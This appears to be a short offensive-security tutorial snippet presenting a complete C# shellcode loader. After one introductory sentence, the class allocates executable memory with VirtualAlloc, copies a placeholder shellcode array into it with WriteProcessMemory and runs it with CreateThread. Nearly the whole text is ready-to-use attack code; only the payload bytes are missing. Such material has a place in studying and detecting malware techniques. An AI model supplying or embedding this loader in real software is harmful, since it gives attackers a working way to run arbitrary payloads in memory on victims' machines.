The most vanilla form of process injection uses the VirtualAlloc, WriteProcessMemory, and CreateThread APIs. This will inject and execute the shellcode in the running process.

internal class ClassicInjection
 {
     [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr VirtualAlloc(
         IntPtr lpAddress,
         uint dwSize,
         uint flAllocationType,
         uint flProtect);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern bool WriteProcessMemory(
         IntPtr hProcess,
         IntPtr lpBaseAddress,
         byte[] lpBuffer,
         uint nSize,
         out IntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr CreateThread(
         IntPtr lpThreadAttributes,
         uint dwStackSize,
         IntPtr lpStartAddress,
         IntPtr lpParameter,
         uint dwCreationFlags,
         out uint lpThreadId);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern uint WaitForSingleObject(
         IntPtr hHandle,
         uint dwMilliseconds);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern bool CloseHandle(IntPtr hObject);
    const uint MEM_COMMIT = 0x1000;
     const uint MEM_RESERVE = 0x2000;
     const uint PAGE_EXECUTE_READWRITE = 0x40;
     const uint INFINITE = 0xFFFFFFFF;
   static void Main(string[] args)
     {
         byte[] shellcode = new byte[] { /* shellcode bytes */ };
        IntPtr hMemory = VirtualAlloc(
             IntPtr.Zero,
             (uint)shellcode.Length,
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE);
        if (hMemory == IntPtr.Zero)
             throw new Exception($"VirtualAlloc unsuccessful. Error: {Marshal.GetLastWin32Error()}");
        unsafe
         {
             if (!WriteProcessMemory(
                 (IntPtr)(-1),                 // GetCurrentProcess() = pseudo-handle -1
                 hMemory,
                 shellcode,
                 (uint)shellcode.Length,
                 out IntPtr bytesWritten))
                 throw new Exception($"WriteProcessMemory unsuccessful. Error: {Marshal.GetLastWin32Error()}");
         }
 
        uint threadId = 0;
         IntPtr hThread = CreateThread(
             IntPtr.Zero,
             0,
             hMemory,
             IntPtr.Zero,
             0,
             out threadId);
        if (hThread == IntPtr.Zero)
             throw new Exception($"CreateThread unsuccessful. Error: {Marshal.GetLastWin32Error()}");
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
     }
}